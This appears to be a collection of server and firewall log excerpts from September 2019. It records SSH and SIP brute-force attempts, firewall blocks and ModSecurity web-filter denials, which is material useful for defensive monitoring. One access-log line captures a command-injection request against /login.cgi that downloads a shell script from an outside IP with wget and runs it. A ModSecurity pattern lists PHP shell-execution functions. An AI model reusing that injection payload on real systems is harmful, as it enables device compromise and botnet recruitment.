Unauthorised access (Sep 26) SRC=202.28.35.177 LEN=52 TTL=113 ID=20680 DF TCP DPT=445 WINDOW=8192 SYN

Unauthorised access (Sep 26) SRC=8.34.75.211 LEN=40 TOS=0x10 PREC=0x40 TTL=50 ID=61300 TCP DPT=8080 WINDOW=17026 SYN

Sep 26 07:08:07 vps01 sshd[31620]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=221.150.22.201
Sep 26 07:08:09 vps01 sshd[31620]: Failed password for invalid user debian from 221.150.22.201 port 22501 ssh2

Sep 26 08:31:51 MK-Soft-VM7 sshd[14156]: Failed password for root from 222.186.173.238 port 23058 ssh2
Sep 26 08:31:57 MK-Soft-VM7 sshd[14156]: Failed password for root from 222.186.173.238 port 23058 ssh2
...

\[2019-09-26 02:49:40\] NOTICE\[1948\] chan_sip.c: Registration from '\' failed for '149.202.223.136:52991' - Wrong password
\[2019-09-26 02:49:40\] SECURITY\[2006\] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-09-26T02:49:40.567-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="3433",SessionID="0x7f1e1c011788",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/149.202.223.136/52991",Challenge="14428c0a",ReceivedChallenge="14428c0a",ReceivedHash="cea6d0358d70f6a8fbc55cb36cd350f2"
\[2019-09-26 02:49:55\] NOTICE\[1948\] chan_sip.c: Registration from '\' failed for '149.202.223.136:58874' - Wrong password
\[2019-09-26 02:49:55\] SECURITY\[2006\] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-09-26T02:49:55.447-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="88654321",SessionID="0x7f1e1c0e2d88",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/149.202.223.136

Sep 26 07:11:58 tuotantolaitos sshd[17184]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.24.23.196
Sep 26 07:12:00 tuotantolaitos sshd[17184]: Failed password for invalid user openelec from 118.24.23.196 port 60320 ssh2
...

Sep 26 06:45:04 localhost sshd\[62477\]: Invalid user rebecca from 111.230.110.87 port 45404
Sep 26 06:45:04 localhost sshd\[62477\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.230.110.87
Sep 26 06:45:06 localhost sshd\[62477\]: Failed password for invalid user rebecca from 111.230.110.87 port 45404 ssh2
Sep 26 06:50:34 localhost sshd\[66911\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.230.110.87  user=root
Sep 26 06:50:36 localhost sshd\[66911\]: Failed password for root from 111.230.110.87 port 58160 ssh2
...

" "

Sep 26 08:43:11 dcd-gentoo sshd[29084]: User root from 222.186.42.117 not allowed because none of user's groups are listed in AllowGroups
Sep 26 08:43:13 dcd-gentoo sshd[29084]: error: PAM: Authentication failure for illegal user root from 222.186.42.117
Sep 26 08:43:11 dcd-gentoo sshd[29084]: User root from 222.186.42.117 not allowed because none of user's groups are listed in AllowGroups
Sep 26 08:43:13 dcd-gentoo sshd[29084]: error: PAM: Authentication failure for illegal user root from 222.186.42.117
Sep 26 08:43:11 dcd-gentoo sshd[29084]: User root from 222.186.42.117 not allowed because none of user's groups are listed in AllowGroups
Sep 26 08:43:13 dcd-gentoo sshd[29084]: error: PAM: Authentication failure for illegal user root from 222.186.42.117
Sep 26 08:43:13 dcd-gentoo sshd[29084]: Failed keyboard-interactive/pam for invalid user root from 222.186.42.117 port 20210 ssh2
...

[ThuSep2605:51:42.4144672019][:error][pid12359:tid46955285743360][client140.255.147.213:49903][client140.255.147.213]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch"\^Mozilla/4\\\\\\\\.0\\\\\\\\\(compatible\;MSIE9.0\;WindowsNT6.1\\\\\\\\\)\$"atREQUEST_HEADERS:User-Agent.[file"/usr/local/apache.ea3/conf/modsec_rules/20_asl_useragents.conf"][line"430"][id"336656"][rev"2"][msg"Atomicorp.comWAFRules:FakeMSIE9./0browserMozilla/4.0\(compatible\;MSIE9.0\;WindowsNT6.1\)."][severity"CRITICAL"][hostname"www.agcalposatutto.ch"][uri"/"][unique_id"XYw1zhvHVx6TzhtkpqEjDAAAAA8"]\,referer:http://www.agcalposatutto.ch/[ThuSep2605:51:42.7870782019][:error][pid12359:tid46955285743360][client140.255.147.213:49903][client140.255.147.213]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch"\(\?:\\\\\\\\\(chr\?\\\\\\\\\(\?[0-9]{1\,3}\?\\\\\\\\\)\|\?=\?f\(\?:open\|write\)\?\\\\\\\\\(\|\\\\\\\\b\(\?:passthru\|serialize\|php_uname\|phpinfo\|shell_exec\|preg_\\\\\\\\w \|mysql_query\|exec\|eval\|bas

09/26/2019-00:58:27.406336 185.176.27.174 Protocol: 6 ET DROP Dshield Block Listed Source group 1

129.204.177.208 - - [26/Sep/2019:05:53:19 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://206.72.206.82/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 166 "-" "Hakai/2.0"
...

RDP Bruteforce

Sep 26 08:32:22 s64-1 sshd[7083]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.61.88.249
Sep 26 08:32:24 s64-1 sshd[7083]: Failed password for invalid user yn from 130.61.88.249 port 61527 ssh2
Sep 26 08:38:10 s64-1 sshd[7154]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.61.88.249
...

" "